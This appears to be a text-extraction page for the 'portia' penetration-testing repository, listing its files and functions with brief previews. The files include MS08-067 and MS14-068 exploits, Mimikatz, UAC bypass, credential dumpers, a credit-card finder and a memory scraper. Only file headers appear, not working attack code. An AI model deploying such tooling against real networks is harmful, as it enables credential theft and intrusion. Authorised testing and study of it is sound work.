function localPrivEscalation (line 3963) | def localPrivEscalation():
function setDateTime (line 3968) | def setDateTime(date1):
function compareTime (line 3972) | def compareTime(date1,date2):
function isOpen (line 4014) | def isOpen(ip,port):
function scanThread (line 4027) | def scanThread(ip, port):
function syncDateTime (line 4034) | def syncDateTime(dateTime1):
function convertMth (line 4051) | def convertMth(text):
function convertMthNum (line 4077) | def convertMthNum(text):
function setupSMBShare (line 4103) | def setupSMBShare():
function testMS14_068 (line 4137) | def testMS14_068(ip,domain,username,password,passwordHash):
function cardLuhnChecksumIsValid (line 4252) | def cardLuhnChecksumIsValid(card_number):
function addPasswords (line 4266) | def addPasswords(tmpip,tmpPasswordList):
function addHashes (line 4276) | def addHashes(tmpip,tmpHashList):
function accessRemoteShare (line 4301) | def accessRemoteShare(targetIP,filePath,domain, username, password):
function my_tcp_server (line 4325) | def my_tcp_server():
Condensed preview — 32 files, each showing path, character count, and a content snippet. Download the .json file or copy for the full structured content (3,409K chars).
[
{
"path": "README.md",
"chars": 1103,
"preview": "# portia\n\nPortia aims to automate a number of techniques commonly performed on internal network penetration tests after "
},
{
"path": "deps/__init__.py",
"chars": 0,
"preview": ""
},
{
"path": "deps/goldenPac.py",
"chars": 49809,
"preview": "#!/usr/bin/env python\n# Copyright (c) 2003-2016 CORE Security Technologies\n#\n# This software is provided under under a s"
},
{
"path": "deps/ms08-067_check.py",
"chars": 6472,
"preview": "#!/usr/bin/env python\n\n'''\nName: Microsoft Server Service Remote Path Canonicalization Stack Overflow Vulnerability\n\nDes"
},
{
"path": "deps/ms08_067.py",
"chars": 6695,
"preview": "#!/usr/bin/env python\n\n'''\nName: Microsoft Server Service Remote Path Canonicalization Stack Overflow Vulnerability\n\nDes"
},
{
"path": "deps/ms14_068.py",
"chars": 146483,
"preview": "#/usr/bin/env python\n# -*- coding: utf-8 -*-\n\nfrom psexec import *\nfrom wmiexec import *\nfrom secretsdump import *\nfrom "
},
{
"path": "deps/ndr.py",
"chars": 35836,
"preview": "#!/usr/bin/env python\n\n'''\n This file is part of the PyMSRPC project and is licensed under the\n project license.\n\n"
},
{
"path": "deps/psexec.py",
"chars": 19576,
"preview": "#!/usr/bin/env python\n# Copyright (c) 2003-2016 CORE Security Technologies\n#\n# This software is provided under under a s"
},
{
"path": "deps/secretsdump.py",
"chars": 18838,
"preview": "#!/usr/bin/env python\n# Copyright (c) 2003-2016 CORE Security Technologies\n#\n# This software is provided under a slightl"
},
{
"path": "deps/smb_exploit.py",
"chars": 15368,
"preview": "#!/usr/bin/python\n# -*- coding: utf-8 -*-\n\n\"\"\"\n$ python2.7 smb_exploit.py 192.168.206.152\n[+] [192.168.206.152] is likel"
},
{
"path": "deps/smbexec.py",
"chars": 14477,
"preview": "#!/usr/bin/env python\n# Copyright (c) 2003-2016 CORE Security Technologies\n#\n# This software is provided under under a s"
},
{
"path": "deps/wmiexec.py",
"chars": 17466,
"preview": "#!/usr/bin/env python\n# Copyright (c) 2003-2016 CORE Security Technologies\n#\n# This software is provided under under a s"
},
{
"path": "install.sh",
"chars": 667,
"preview": "#!/bin/sh\n#Contributed by @jivoi \n\napt-get update\napt-get install -y autoconf automake autopoint libtool pkg-config\n\nvir"
},
{
"path": "modules/BrowserGather.ps1",
"chars": 7674,
"preview": "# Instructions: import the module, then perform the commanded needed.\n# Currently only supports Chrome credential extrac"
},
{
"path": "modules/Bypass-UAC.ps1",
"chars": 84133,
"preview": "function Bypass-UAC {\r\n<#\r\n.SYNOPSIS\r\nBypass-UAC provides a framework to perform UAC bypasses based on auto\r\nelevating I"
},
{
"path": "modules/Get-FoxDump.ps1",
"chars": 315645,
"preview": "\n\n\n\n\n\n<!DOCTYPE html>\n<html lang=\"en\">\n <head>\n <meta charset=\"utf-8\">\n\n\n\n <link crossorigin=\"anonymous\" href=\"http"
},
{
"path": "modules/Get-PasswordFile.ps1",
"chars": 5057,
"preview": "function Get-PasswordFile { \n<# \n.SYNOPSIS \n \n Copies either the SAM or NTDS.dit and system files to a specified dir"
},
{
"path": "modules/Get-SQLServiceAccountPwHash3.ps1",
"chars": 4157,
"preview": "\n# author: scott sutherland (@_nullbind), NetSPI 2016\n# script name: Get-SQLServiceAccountPwHash3.ps1\n# requirements: Po"
},
{
"path": "modules/Get-VaultCredential.ps1",
"chars": 20432,
"preview": "function Get-VaultCredential\n{\n<#\n.SYNOPSIS\n\nDisplays Windows vault credential objects including cleartext web credentia"
},
{
"path": "modules/Inveigh.ps1",
"chars": 99031,
"preview": "function Invoke-Inveigh\n{\n<#\n.SYNOPSIS\nInvoke-Inveigh is a Windows PowerShell LLMNR/NBNS spoofer with challenge/response"
},
{
"path": "modules/Invoke-Mimikatz.ps1",
"chars": 677282,
"preview": "function Invoke-Mimikatz\n{\n<#\n.SYNOPSIS\n\nThis script leverages Mimikatz 2.0 and Invoke-ReflectivePEInjection to reflecti"
},
{
"path": "modules/Invoke-TokenManipulation.ps1",
"chars": 94704,
"preview": "function Invoke-TokenManipulation\n{\n<#\n.SYNOPSIS\n\nThis script requires Administrator privileges. It can enumerate the Lo"
},
{
"path": "modules/KeeThief.ps1",
"chars": 361589,
"preview": "#requires -version 2\n\nfunction Get-KeePassDatabaseKey {\n<#\n .SYNOPSIS\n \n Retrieves database mastey key "
},
{
"path": "modules/PowerUpSQL.ps1",
"chars": 951594,
"preview": "#requires -version 2\n<#\n File: PowerUpSQL.ps1\n Author: Scott Sutherland (@_nullbind), NetSPI - 2016\n "
},
{
"path": "modules/PowerUpSQL.psd1",
"chars": 3855,
"preview": "#requires -Version 1\n@{\n ModuleToProcess = 'PowerUpSQL.psm1'\n ModuleVersion = '1.0.0.76'\n GUID "
},
{
"path": "modules/PowerUpSQL.psm1",
"chars": 111,
"preview": "Get-ChildItem (Join-Path -Path $PSScriptRoot -ChildPath *.ps1) | ForEach-Object -Process {\n . $_.FullName\n}\n"
},
{
"path": "modules/SessionGopher.ps1",
"chars": 39620,
"preview": "<#\n .SYNPOSIS\n Extracts and decrypts saved session information for software typically used to access Unix systems.\n\n "
},
{
"path": "modules/WiFi-Password.psm1",
"chars": 1322,
"preview": "function Extract-Value(\n [string[]]$Lines,\n [string]$Name\n) {\n $Lines | Select-String \" $Name\\s+: (.*)\" |% { $_"
},
{
"path": "modules/credit-card-finder.ps1",
"chars": 11937,
"preview": "###################################################################\n####################################################"
},
{
"path": "modules/get-applicationhost.ps1",
"chars": 5231,
"preview": "function Get-ApplicationHost\n{\t\n # Author: Scott Sutherland - 2014, NetSPI\n # Version: Get-ApplicationHost v1.0\n\t\n"
},
{
"path": "modules/mem_scraper.ps1",
"chars": 8798,
"preview": "<#\n.DESCRIPTION\n\n mem_scraper will continously dump memory of a specified process and search for \n track data or c"
},
{
"path": "portia.py",
"chars": 265739,
"preview": "#!/usr/bin/env python\n# -*- coding: utf-8 -*-\n\n#pip install pymssql\n\nfrom deps.psexec import *\nfrom deps.wmiexec import "
}
]
About this extraction
This page contains the full source code of the milo2012/portia GitHub repository, extracted and formatted as plain text for AI agents and large language models (LLMs). The extraction includes 32 files (3.1 MB), approximately 824.1k tokens, and a symbol index with 600 extracted functions, classes, methods, constants, and types. Use this with OpenClaw, Claude, ChatGPT, Cursor, Windsurf, or any other AI tool that accepts text input. You can copy the full output to your clipboard or download it as a .txt file.
Extracted by GitExtract — free GitHub repo to text converter for AI. Built by Nikandr Surkov.